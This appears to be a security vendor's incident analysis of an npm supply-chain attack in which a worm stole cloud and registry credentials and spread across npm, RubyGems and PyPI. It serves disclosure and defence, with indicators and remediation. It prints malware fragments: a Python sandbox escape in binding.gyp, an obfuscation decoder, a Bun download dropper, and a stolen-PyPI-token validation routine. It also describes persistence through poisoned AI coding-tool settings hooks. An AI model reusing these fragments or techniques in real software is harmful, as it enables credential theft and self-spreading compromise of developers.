TL;DR
On Aug. 28, 2026, several versions of the npm package @7nohe/openapi-react-query-codegen were published with malware. The package turns OpenAPI specifications into ready-to-use TypeScript clients and React Query hooks. It saves React developers from hand-writing much of the code their applications use to call APIs and manage the returned data.
Installing an affected version could expose developer, cloud, and package registry credentials. The malware could then use stolen registry tokens to republish poisoned packages across npm, RubyGems, and, for the first time in this malware family, PyPI. The releases also carried valid npm provenance. That provenance confirmed the packages came through the project’s trusted publishing workflow. It did not show that their contents were safe.
The compromise began in public. A GitHub account named p00paboot opened PR #215, added an install-time Bun runner, and commented npm publish. The project’s GitHub Actions workflow treated that exact comment as authorization to check out the PR’s code and publish it.
The resulting payload was a Shai-Hulud-style credential stealer and self-propagating worm. It downloaded Bun, harvested credentials across AWS, Azure, Google Cloud, Vault, and Kubernetes, dumped GitHub Actions runner memory, stored stolen data through the victim’s GitHub account, and used stolen registry tokens to spread.
Three things stand out about this incident:
- Three triggers, not one. A preinstall hook runs the dropper directly, and the added binding.gyp fires it a second way through node-gyp. This binding.gyp is meaner than earlier samples: it embeds a Python __subclasses__() sandbox escape that reaches os.system('node 3FWCvzduYZg.js'), so the payload fires whether the file is evaluated in a Python context or a Node one.
- PyPI is now a propagation target. Earlier samples in this family were republished through npm and RubyGems. This build adds a dedicated handlePypiTokens routine that validates stolen pypi- tokens against upload.pypi.org/legacy/ and keeps the working ones. The worm now spreads across three package ecosystems.
- It shipped with valid provenance. The malicious version was published through GitHub Actions OIDC with Sigstore attestations present. A green provenance badge did not stop it, and the payload itself is built to forge exactly that badge.
Affected versions
All times UTC on 2026-08-28. The attacker back-filled multiple version lines within minutes, plus two bootstrap variants that reference the campaign's own environment variables.
As of writing, the latest tag points to 3.0.4, which is malicious. Clean releases exist on either side of these releases (2.2.1 at 20:00 and 3.0.3 at 20:02 both carry no preinstall), so this is an account or CI compromise that injected the hook, not a from-scratch malicious package.
Technical analysis
We pulled the tarball from the npm registry and analyzed it statically without installing or executing any of the code.
The package is a carrier
The published 2.2.2 tarball (sha256 0d58f343...) adds two files a clean release does not have:
Three triggers
There is a preinstall hook, which npm runs on install. There is also a binding.gyp, which npm runs through node-gyp whenever the file is present. The binding.gyp is the interesting one:
"conditions":[
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ ==
u'catch_warnings'][0]()._module.__builtins__[u'__import__']
(u'os').system(u'node 3FWCvzduYZg.js') == 0x00", {}],
],
"targets": [{ "target_name": "<(var)", "type": "\x6e\x6f\x6e\x65",
"sources": ["dog.c"] }]
The Unicode escapes decode to a classic Python sandbox escape: walk object.__subclasses__() to catch_warnings, reach __builtins__, call __import__('os').system('node 3FWCvzduYZg.js'). The type value decodes to none. The result is a payload that fires in both a Python evaluation context and a Node install context, from one added file.
XOR, then AES
The root 3FWCvzduYZg.js opens with a Function() constructor wrapping a XOR decode:
Function(function fc4v5ak(a, k){
var c = "";
for (var i = 0; i < a.length; i++) c += String.fromCharCode(a[i] ^ k);
return c;
}([101,44,62,52,...], 77))
Decoding the array with the key 77 (a pure transform, no execution) yields an async block that imports node:crypto and defines an AES-128-GCM decryptor with keys, IVs, and auth tags embedded inline. Two ciphertext blobs decrypt cleanly: a ~1.1 KB dropper and a ~778 KB main payload.
The Bun dropper
The smaller blob downloads a standalone Bun runtime and uses it to run the main payload outside Node:
const dir = mkdtempSync(join(tmpdir(), "trinnyyyy-"));
let exe = join(dir, os === "windows" ? "bun.exe" : "bun");
const url = "https://github.com/oven-sh/bun/releases/download/bun-v1.4.0/bun-"
+ os + "-" + a + ".zip";
execSync('curl -sSL "' + url + '" -o "' + zip + '"', { stdio: "pipe" });
execSync('unzip -j -o "' + zip + '" -d "' + dir + '"', { stdio: "pipe" });
chmodSync(exe, "755");
The runtime is pulled from the real Bun GitHub release, which blends into normal developer traffic. The temp directory is named trinnyyyy-*.
The payload
The ~778 KB main stage is obfuscator.io output. We cracked the string-array rotation and resolved all 2,659 strings. It is the full Shai-Hulud-class worm:
- Credential harvesting across AWS (IMDS 169.254.169.254, ECS 169.254.170.2, STS AssumeRoleWithWebIdentity, Secrets Manager, SSM), Azure (Graph, login.microsoftonline.com, service principals), GCP (googleapis.com/auth/cloud-platform), HashiCorp Vault (127.0.0.1:8200, AWS and Kubernetes auth logins, VAULT_TOKEN files), and Kubernetes service-account tokens.
- Runner memory theft. It locates the GitHub Actions Runner.Worker process and dumps its memory to pull masked secrets, and it exits early if step-security harden-runner is detected. It also fingerprints CrowdStrike, SentinelOne, and Microsoft Defender.
- GitHub-based exfiltration. Collected secrets are committed to a repository created under the victim's own GitHub account (/user/repos, /contents/results/, a createCommitOnBranch GraphQL mutation), so there is no fixed C2 domain to block.
- Developer-machine persistence. It commits poisoned .claude/settings.json, .gemini/settings.json, .vscode/tasks.json, and Cursor rule files into victim repos, injecting a SessionStart hook that re-runs the payload under Bun when anyone opens the project.
- Sigstore provenance forgery. It calls Fulcio and Rekor with the stolen GitHub Actions OIDC token to mint real signing certificates and transparency-log entries for the packages it republishes.
New this variant: PyPI propagation
Earlier samples in this family republished through npm and RubyGems. This build adds a third ecosystem. A dedicated handlePypiTokens routine validates every stolen pypi--prefixed token against the real PyPI upload endpoint, then retains the working ones for republishing:
async handlePypiTokens(data) {
let tokens = data.matches.pypitoken;
if (!tokens) return;
for (let token of tokens) {
if (typeof token !== 'string' || !token.startsWith('pypi-')) continue;
let form = new FormData();
form.append(':action', 'file_upload');
form.append('name', 'dummy-package');
form.append('version', '0.0.1');
form.append('content', 'dummy-content');
await fetch('https://upload.pypi.org/legacy/', {
method: 'POST',
headers: { 'Authorization': 'Basic ' + b64('__token__:' + token) },
body: form
});
// valid tokens retained for republishing
}
}
The dummy-package upload is a validation probe using PyPI's standard __token__ Basic-auth scheme. Alongside the npm (/-/whoami, /-/npm/v1/oidc/token/exchange) and RubyGems (api_key.json, /api/v1/gems) handlers, the worm now self-propagates across npm, RubyGems, and PyPI.
The GitHub dead drop
When the primary exfil path is unreachable, the payload resolves a backup by searching GitHub commits and verifying an RSA signature on each result:
GET /search/commits?q=<marker>&sort=author-date&order=desc&per_page=50The crypto is fully visible in the strings: PEM framing, RSA-SHA256, RSA_PKCS1_OAEP_PADDING, an embedded public key, and a sha256= verification tag. The literal search marker is assembled at runtime, so it is not a clean static string, but the pinned RSA key material is. The operator can rotate the marker freely, and cannot rotate the key the malware validates against. That key is the durable indicator.
The provenance anomaly
The registry shows 2.2.2 was published through GitHub Actions OIDC with a trusted-publisher chain and attestations present. This is worth stating plainly: valid provenance did not make this release safe. Either the maintainer's CI or OIDC trust was abused to publish, or the trusted-publisher path was compromised upstream. Given the payload's built-in Sigstore forgery, a green badge on anything downstream of this worm cannot be taken at face value.
Root cause
The GitHub account p00paboot opened pull request #215 at 19:59 UTC on 2026-08-28. The PR title was “Add new testcases for OpenAPI,” but CodeRabbit’s public review summarized the selected files as is_it_this_simple.js and package.json, and described a preinstall script that installs Bun and runs is_it_this_simple.js during package installation.
p00paboot commented npm publish on the PR at 19:59:15 UTC. In commit d42d173, the release workflow runs on issue_comment events when the issue is a pull request and the comment body is exactly npm publish:
if: ${{ github.event_name == 'push' || (github.event.issue.pull_request && github.event.comment.body == 'npm publish') }}For that path, the workflow checks out the PR head, runs pnpm install, sets the package version to 0.0.0-$(git rev-parse HEAD), and publishes it to npm with the pre tag. The workflow also grants id-token: write and configures npm publishing through actions/setup-node, which is consistent with the malicious package showing valid provenance.
Issue #217 was opened at 20:18 UTC to report malicious publishes of 1.6.3, 3.0.3, 2.2.1, and 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be. p00paboot replied at 20:29 UTC: “Seems fine to me. Stop spreading misinformation.”
This public activity does not prove who controlled the p00paboot account. It does place that account on the PR, the npm publish trigger comment, and the public response after the malicious versions were reported.
Indicators of compromise
Package indicators
File and behavioral indicators
Code markers
Remediation
Check your exposure
npm ls @7nohe/openapi-react-query-codegen
grep -RnE '@7nohe/openapi-react-query-codegen' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Dropped artifacts on hosts and CI runners
ls -la node_modules/@7nohe/openapi-react-query-codegen/3FWCvzduYZg.js \
node_modules/@7nohe/openapi-react-query-codegen/binding.gyp 2>/dev/null
find "${TMPDIR:-/tmp}" -maxdepth 2 -type d -name 'trinnyyyy-*' 2>/dev/null
Pin to a known-good release published before 20:19 UTC on 2026-08-28 and verify its integrity hash. Do not resolve the latest tag until it is moved off 3.0.4.
If you installed an affected version
Treat the host as compromised. The payload runs on install and executes a second stage fetched at runtime.
- Rotate every credential reachable from the host or CI runner: npm, GitHub, RubyGems, and PyPI tokens; AWS, Azure, and GCP keys; Vault and Kubernetes tokens; and GitHub Actions OIDC trust.
- Check for unexpected packages published under your npm, RubyGems, and PyPI accounts. Self-propagation is the point.
- Hunt for the trinnyyyy-* temp dir, a staged bun binary, and poisoned .claude, .gemini, .vscode, and .cursor config files committed into your repos.
Longer term
- Disable install scripts by default. npm install --ignore-scripts blocks preinstall, and blocking automatic node-gyp builds closes the binding.gyp vector.
- Do not treat provenance as a safety verdict. This release had valid attestations. Provenance tells you where a build came from, not that the build is clean.
- Pin with integrity hashes and watch publish cadence. Several version lines back-filled within minutes is a strong compromise signal.
Analysis is based on static inspection and sandboxed deobfuscation of the published npm artifacts. Nothing was installed or executed during this work, and the install hooks never fired.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









